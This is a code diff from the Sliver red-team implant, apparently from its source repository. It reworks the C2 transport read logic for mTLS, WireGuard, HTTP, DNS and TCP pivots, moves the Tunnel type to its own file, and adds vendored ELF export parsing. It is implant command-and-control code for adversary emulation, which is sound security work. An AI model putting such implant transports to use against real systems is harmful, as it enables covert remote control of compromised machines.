-		dataBuf = append(dataBuf, readBuf[:n]...)
-		totalRead += n
-		if totalRead == dataLength {
-			break
-		}
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Read error: %s\n", err)
-			// {{end}}
-			break
-		}
+	if dataLength <= 0 {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, errors.New("[mtls] zero data length")
+	}
+
+	dataBuf := make([]byte, dataLength)
+
+	n, err = io.ReadFull(connection, dataBuf)
+
+	if err != nil || n != dataLength {
+		// {{if .Config.Debug}}
+		log.Printf("Read error: %s\n", err)
+		// {{end}}
+		return nil, err
 	}
 
 	// Unmarshal the protobuf envelope

implant/sliver/transports/pivotclients/pivotclient.go

@@ -23,6 +23,7 @@ import (
 	"encoding/base64"
 	"encoding/binary"
 	"errors"
+	"io"
 	"net"
 	"sync"
 	"time"
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
 	p.readMutex.Lock()
 	defer p.readMutex.Unlock()
 	dataLengthBuf := make([]byte, 4)
-	n, err := p.conn.Read(dataLengthBuf)
+
+	n, err := io.ReadFull(p.conn, dataLengthBuf)
+
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
 	}
 
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
-	readBuf := make([]byte, bufSize)
-	dataBuf := []byte{}
-	totalRead := 0
-	for {
-		n, err := p.conn.Read(readBuf)
-		dataBuf = append(dataBuf, readBuf[:n]...)
-		totalRead += n
-		if totalRead == dataLength {
-			break
-		}
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("read error: %s\n", err)
-			// {{end}}
-			break
-		}
+	if dataLength <= 0 {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, errors.New("[pivot] zero data length")
+	}
+
+	dataBuf := make([]byte, dataLength)
+
+	n, err = io.ReadFull(p.conn, dataBuf)
+
+	if err != nil || n != dataLength {
+		// {{if .Config.Debug}}
+		log.Printf("read error: %s\n", err)
+		// {{end}}
+		return nil, err
 	}
 	return dataBuf, err
 }

implant/sliver/transports/session.go

@@ -19,7 +19,6 @@ package transports
 */
 
 import (
-
 	// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
 	"net"
 
@@ -62,12 +61,15 @@ import (
 
 	// {{end}}
 
+	// {{if not .Config.NamePipec2Enabled}}
 	"io"
 	"net/url"
 	"sync"
-	"time"
 
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	// {{end}}
+
+	"time"
 )
 
 var (
@@ -77,88 +79,6 @@ var (
 type Start func() error
 type Stop func() error
 
-// Connection - Abstract connection to the server
-type Connection struct {
-	Send    chan *pb.Envelope
-	Recv    chan *pb.Envelope
-	IsOpen  bool
-	ctrl    chan struct{}
-	cleanup func()
-	once    *sync.Once
-	tunnels *map[uint64]*Tunnel
-	mutex   *sync.RWMutex
-
-	uri      *url.URL
-	proxyURL *url.URL
-
-	Start Start
-	Stop  Stop
-}
-
-// URL - Get the c2 URL of the connection
-func (c *Connection) URL() string {
-	if c.uri == nil {
-		return ""
-	}
-	return c.uri.String()
-}
-
-// ProxyURL - Get the c2 URL of the connection
-func (c *Connection) ProxyURL() string {
-	if c.proxyURL == nil {
-		return ""
-	}
-	return c.proxyURL.String()
-}
-
-// Cleanup - Execute cleanup once
-func (c *Connection) Cleanup() {
-	c.once.Do(func() {
-		c.cleanup()
-		c.IsOpen = false
-	})
-}
-
-// Tunnel - Duplex byte read/write
-type Tunnel struct {
-	ID uint64
-
-	Reader       io.ReadCloser
-	ReadSequence uint64
-
-	Writer        io.WriteCloser
-	WriteSequence uint64
-}
-
-// Tunnel - Add tunnel to mapping
-func (c *Connection) Tunnel(ID uint64) *Tunnel {
-	c.mutex.RLock()
-	defer c.mutex.RUnlock()
-	return (*c.tunnels)[ID]
-}
-
-// AddTunnel - Add tunnel to mapping
-func (c *Connection) AddTunnel(tun *Tunnel) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	(*c.tunnels)[tun.ID] = tun
-}
-
-// RemoveTunnel - Add tunnel to mapping
-func (c *Connection) RemoveTunnel(ID uint64) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-	delete(*c.tunnels, ID)
-}
-
-func (c *Connection) RequestResend(data []byte) {
-	c.Send <- &pb.Envelope{
-		Type: pb.MsgTunnelData,
-		Data: data,
-	}
-}
-
 // StartConnectionLoop - Starts the main connection loop
 func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
 
@@ -295,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[mtls] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			conn.Close()
 			close(recv)
 		},
@@ -352,7 +271,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			for {
 				envelope, err := mtls.ReadEnvelope(conn)
 				if err == io.EOF {
-					break
+					// {{if .Config.Debug}}
+					log.Printf("[mtls] eof")
+					// {{end}}
+					return
 				}
 				if err != io.EOF && err != nil {
 					break
@@ -393,7 +315,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[wg] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			conn.Close()
 			dev.Down()
 			close(recv)
@@ -462,7 +383,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 			for {
 				envelope, err := wireguard.ReadEnvelope(conn)
 				if err == io.EOF {
-					break
+					// {{if .Config.Debug}}
+					log.Printf("[wireguard] eof")
+					// {{end}}
+					return
 				}
 				if err != io.EOF && err != nil {
 					break
@@ -499,7 +423,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[http] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			ctrl <- struct{}{}
 			close(recv)
 		},
@@ -547,6 +470,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
 					return
 				default:
 					envelope, err := client.ReadEnvelope()
+					if err == io.EOF {
+						// {{if .Config.Debug}}
+						log.Printf("[http] eof")
+						// {{end}}
+						return
+					}
 					switch errType := err.(type) {
 					case nil:
 						errCount = 0
@@ -614,7 +543,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[dns] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			ctrl <- struct{}{} // Stop polling
 			close(recv)
 		},
@@ -678,6 +606,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
 						log.Printf("[dns] session is closed")
 						// {{end}}
 						return
+					case io.EOF:
+						// {{if .Config.Debug}}
+						log.Printf("[dns] eof")
+						// {{end}}
+						return
 					default:
 						errCount++
 						// {{if .Config.Debug}}
@@ -720,7 +653,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 			log.Printf("[tcp pivot] lost connection, cleanup...")
 			// {{end}}
 			pingCtrl <- struct{}{}
-			close(send)
 			ctrl <- struct{}{}
 			close(recv)
 		},
@@ -794,7 +726,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 			for {
 				envelope, err := pivot.ReadEnvelope()
 				if err == io.EOF {
-					break
+					// {{if .Config.Debug}}
+					log.Printf("[tcp pivot] eof")
+					// {{end}}
+					return
 				}
 				if err != nil {
 					// {{if .Config.Debug}}

implant/sliver/transports/tunnel.go

@@ -0,0 +1,67 @@
+package transports
+
+import (
+	"io"
+	"sync"
+)
+
+// Tunnel - Duplex byte read/write
+type Tunnel struct {
+	ID uint64
+
+	// Reader       io.ReadCloser
+	Readers      []io.ReadCloser
+	readSequence uint64
+
+	Writer        io.WriteCloser
+	writeSequence uint64
+
+	mutex *sync.RWMutex
+}
+
+func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
+	return &Tunnel{
+		ID:      id,
+		Readers: readers,
+		Writer:  writer,
+		mutex:   &sync.RWMutex{},
+	}
+}
+
+func (c *Tunnel) ReadSequence() uint64 {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	return c.readSequence
+}
+
+func (c *Tunnel) WriteSequence() uint64 {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	return c.writeSequence
+}
+
+func (c *Tunnel) IncReadSequence() {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	c.readSequence += 1
+}
+
+func (c *Tunnel) IncWriteSequence() {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	c.writeSequence += 1
+}
+
+// Close - close tunnel reader and writer
+func (c *Tunnel) Close() {
+	for _, rc := range c.Readers {
+		if rc != nil {
+			rc.Close()
+		}
+	}
+	c.Writer.Close()
+}

implant/sliver/transports/wireguard/wireguard.go

@@ -26,6 +26,7 @@ import (
 	"bufio"
 	"bytes"
 	"encoding/binary"
+	"errors"
 	"fmt"
 	"io"
 	"net"
@@ -48,7 +49,6 @@ import (
 )
 
 var (
-	readBufSize = 16 * 1024    // 16kb
 	serverTunIP = "100.64.0.1" // Don't let user configure this for now
 	tunnelNet   *netstack.Net
 	tunAddress  string
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	if len(dataLengthBuf) == 0 || connection == nil {
 		panic("[[GenerateCanary]]")
 	}
-	_, err := connection.Read(dataLengthBuf)
-	if err != nil {
+	n, err := io.ReadFull(connection, dataLengthBuf)
+	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
 		// {{end}}
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	}
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
 
-	// Read the length of the data
-	readBuf := make([]byte, readBufSize)
-	dataBuf := make([]byte, 0)
-	totalRead := 0
-	for {
-		n, err := connection.Read(readBuf)
-		dataBuf = append(dataBuf, readBuf[:n]...)
-		totalRead += n
-		if totalRead == dataLength {
-			break
-		}
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Read error: %s\n", err)
-			// {{end}}
-			break
-		}
+	if dataLength <= 0 {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, errors.New("[wireguard] zero data length")
+	}
+
+	dataBuf := make([]byte, dataLength)
+
+	n, err = io.ReadFull(connection, dataBuf)
+
+	if err != nil || n != dataLength {
+		// {{if .Config.Debug}}
+		log.Printf("Read error: %s\n", err)
+		// {{end}}
+		return nil, err
 	}
 
 	// Unmarshal the protobuf envelope

implant/sliver/version/version_windows.go

@@ -1,3 +1,5 @@
+//go:build 386 || amd64
+
 package version
 
 /*

implant/vendor/github.com/Binject/debug/LICENSE

@@ -0,0 +1,27 @@
+Copyright (c) 2009 The Go Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

implant/vendor/github.com/Binject/debug/elf/exports.go

@@ -0,0 +1,32 @@
+package elf
+
+/*
+  Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
+  (references undefined section) is an import, and every other symbol is defined and exported.
+*/
+
+// Export - describes a single export entry
+type Export struct {
+	Name           string
+	VirtualAddress uint64
+}
+
+// Exports - gets exports
+func (f *File) Exports() ([]Export, error) {
+
+	var exports []Export
+	symbols, err := f.DynamicSymbols()
+	if err != nil {
+		return nil, err
+	}
+	for _, s := range symbols {
+		if s.Section != SHN_UNDEF {
+			exports = append(exports, Export{
+				Name:           s.Name,
+				VirtualAddress: s.Value,
+			})
+		}
+	}
+
+	return exports, nil
+}